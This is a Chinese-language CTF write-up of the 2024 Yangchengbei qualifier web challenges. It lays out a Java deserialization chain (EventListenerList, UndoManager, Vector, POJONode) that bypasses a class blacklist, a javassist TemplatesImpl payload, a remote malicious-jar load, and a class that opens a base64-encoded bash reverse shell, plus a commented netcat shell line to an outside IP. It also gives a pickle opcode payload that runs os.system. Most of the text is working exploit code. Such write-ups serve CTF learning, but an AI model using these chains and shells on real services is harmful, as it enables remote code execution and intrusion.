2024羊城杯初赛web WP

发布于 2024-09-17  672 次阅读


2024羊城杯初赛web WP

ez_java

登录用户名密码是admin,admin888,user类里给了,本地调的时候要改改com.example.ycbjava.config.MainRealm的源码

protected AuthenticationInfo doGetAuthenticationInfo(AuthenticationToken authenticationToken) throws AuthenticationException {
    String username = (String)authenticationToken.getPrincipal();
    String password = new String((char[])((char[])authenticationToken.getCredentials()));
    String realusername = "admin";
    String realpassword = "admin888";

    if (username.equals(realusername) && password.equals(realpassword)) {
        return new SimpleAuthenticationInfo(username, password, this.getName());
    } else {
        throw new IncorrectCredentialsException("Username or password is incorrect.");
    }
}

有两个接口:ser和upload,分别可以base64解码并反序列化一个payload,和上传一个任意文件到指定目录
不过反序列化读Object用的是自定义对象输入流,有一个类的黑名单,限制有些多

private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};

ban了执行字节码的TemplatesImpl,触发toString的BadAttributeValueExpException XString不说,把SignedObject也ban了,不能打二次反序列化

期间想过用RMI打二次,后来才知道jdk8u121以上的版本,RMI接受并反序列化数据前有一个过滤器ObjectInputFilter会以白名单过滤传来的对象,因此所有链子都打不了了

注意到题目有一个User类可序列化

public class User implements Serializable {
    public String username = "admin";
    public String password = "admin888";
    public String gift;

    public User() {
    }

    public String getGift() {
        String gift = this.username;
        gift = gift.trim();
        gift = gift.toLowerCase();
        if (gift.startsWith("http") || gift.startsWith("file")) {
            gift = "nonono";
        }

        try {
            URL url1 = new URL(gift);
            Class<?> URLclass = Class.forName("java.net.URLClassLoader");
            Method add = URLclass.getDeclaredMethod("addURL", URL.class);
            add.setAccessible(true);
            URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
            add.invoke(classloader, url1);
        } catch (Exception var6) {
            var6.printStackTrace();
        }

        return gift;
    }

    public void setGift(String gift) {
        this.gift = gift;
    }

    public User(String username, String password) {
        this.username = username;
        this.password = password;
    }

    public String getUsername() {
        return this.username;
    }

    public void setUsername(String username) {
        this.username = username;
    }

    public String getPassword() {
        return this.password;
    }

    public void setPassword(String password) {
        this.password = password;
    }
}

其中getGift方法会加载一个jar包,至于不能以http或file开头,用url:绕就可以,在URL类的构造方法中:
image_mak

而这个方法正好是变量Gift的getter方法,可以通过jackson的链子触发,我们只要把username设为恶意jar包的托管url,然后反序列化触发getGift即可。
现在问题是,ban了BadAttributeValueExpException,XString,需要一个新的链子来触发toString,才能触发JsonNode的序列化来使用任意getter。

这里使用javax.swing.event.EventListenerList
跟一下链子:
poc:


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;

public class EventListenerListPoc {
    public static void serialize(Object obj) throws Exception {
        ObjectOutputStream objo = new ObjectOutputStream(new FileOutputStream("ser.txt"));
        objo.writeObject(obj);
    }

    public static void unserialize() throws Exception{
        ObjectInputStream obji = new ObjectInputStream(new FileInputStream("ser.txt"));
        obji.readObject();

    }

    public static byte[][] generateEvilBytes() throws Exception{
        ClassPool cp = ClassPool.getDefault();
        cp.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = cp.makeClass("evil");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        //nc -e /bin/sh 121.199.39.4 3000
        cc.makeClassInitializer().insertBefore(cmd);
        cc.setSuperclass(cp.get(AbstractTranslet.class.getName()));
        byte[][] evilbyte = new byte[][]{cc.toBytecode()};
        return evilbyte;

    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

    public static void main(String[] args) throws Exception {

        //构造用于toString的proxy
        TemplatesImpl tmp = new TemplatesImpl();
        setFieldValue(tmp,"_tfactory",new TransformerFactoryImpl());
        setFieldValue(tmp,"_name","123");
        setFieldValue(tmp,"_bytecodes",generateEvilBytes());
        AdvisedSupport support = new AdvisedSupport();
        support.setTarget(tmp);
        Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
        constructor.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) constructor.newInstance(support);
        Templates proxy = (Templates) Proxy.newProxyInstance(Templates.class.getClassLoader(),new Class[]{Templates.class},handler);

        POJONode pojoNode = new POJONode(proxy);

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});

        serialize(list);
        unserialize();

    }

}

首先执行EventListenerList#readObject
image_mak
这里的序列化、反序列化机制时EventListenerList类自定义的,看看writeObject方法
image_mak
对于属性listenerList会进行特定的序列化,列表中的每两个元素,写入前一个的getName方法结果(应该是Class对象),以及后一个对象。(当然listenerList肯定是一个transient的Object列表)
image_mak

从而反序列化的时候就会读出前一个的getName方法结果为listenerTypeOrNull,后一个为l,对其执行add方法
image_mak
这里如果l不是t类的对象,就会抛出一个错误,在这个错误中,字符串拼接就会隐式调用到l的toString方法。

但是这里对l是有限制的,必须是实现了Eventlistener的类,我们使用UndoManager,他实现了UndoableEditListener,而UndoableEditListener是EventListener的子类

为了触发抛出错误,将数组listenerList设为[其他类class对象,UndoManager]即可

UndoManager的toStirng中:
image_mak
跟进super.toString()
image_mak
这里就隐式调用了属性edits的toString,而edits是一个Vector类型的变量,看看Vector的toString,跟进super:
image_mak
因此,看到Vector的iterator方法,返回子类迭代器对象:
image_mak
next方法中返回elementData(),跟进看看方法:
image_mak
因此,该迭代器就是遍历返回elementData数组中的对象。
再看toString,next拿到的对象e被append到StringBuilder中,进行了该对象的toString。

因此,只要把想要执行toString的POJO放到Vector的elementData中即可执行其toString。这里可以反射,也可以使用Vector的add方法。
image_mak
这样即可达成任意对象toString。

回到题目,先托管一个用于加载的恶意jar包,将恶意语句写到恶意类的readObject方法中:

import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class evil123123 implements Serializable {

    private void writeObject(ObjectOutputStream out) throws Exception {
        out.defaultWriteObject();
    }

    private void readObject(ObjectInputStream in) throws Exception {
        in.defaultReadObject();
        Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwL2lwL3BvcnQgMD4mMQ==}|{base64,-d}|{bash,-i}");
    }
}

打jar包托管到vps上。然后利用Eventlistener链子写poc来触发User#getGift:


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.example.User;
import org.springframework.aop.framework.AdvisedSupport;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.Map;
import java.util.Vector;

public class EventListenerListPoc {

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Class<?> clazz = obj.getClass();
        Field field = clazz.getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static Object getFieldValue(Object obj, String fieldName) throws NoSuchFieldException, IllegalAccessException {

        Class clazz = obj.getClass();
        while (clazz != null) {
            try {
                Field field = clazz.getDeclaredField(fieldName);
                field.setAccessible(true);
                return field.get(obj);
            } catch (Exception e) {
                clazz = clazz.getSuperclass();
            }
        }
        return null;
    }

    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }
    public static void main(String[] args) throws Exception {

        User proxy = new User();
        proxy.username="url:http://ip:port/evil321.jar";

        POJONode pojoNode = new POJONode(proxy);

        //EventListenerList --> UndoManager#toString() -->Vector#toString() --> POJONode#toString()
        EventListenerList list = new EventListenerList();
        UndoManager manager = new UndoManager();
        Vector vector = (Vector) getFieldValue(manager, "edits");
        vector.add(pojoNode);
        setFieldValue(list, "listenerList", new Object[]{Map.class, manager});

        System.out.println(getb64(list));

    }

}

image_mak
然后再反序列化已经被加载的恶意类即可。
(当然也可以把Runtime直接写到静态代码块,这样加载的时候就能执行)

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;

public class main {
    public static String getb64(Object obj) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream objout = new ObjectOutputStream(bout);
        objout.writeObject(obj);
        String base64 = Base64.getEncoder().encodeToString(bout.toByteArray());
        return base64;
    }
    public static void main(String a[]) throws Exception{
        evil123123 e = new evil123123();
        System.out.println(getb64(e));
    }
}

成功反弹shell
image_mak

Lyrics For You

看到一半被队友做了
搓opcode注入cookie,打pickle反序列化,其中加密逻辑给了,直接本地加密一遍即可
opcode黑名单ban得不严:

blacklist = [b'R', b'secret', b'eval', b'file', b'compile', b'open', b'os.popen']
#gtg写的
code = """
(cos
system
S'calc'
o.
""".strip().encode()
print(base64.b64encode(code))
value = touni(cookie_encode(("user", code), "EnjoyThePlayTime123456"))
print(value)

压入MARK,压入os.system,压入字符串'calc',然后o即可执行os.system('calc')

A web ctfer from 0RAYS
最后更新于 2024-09-17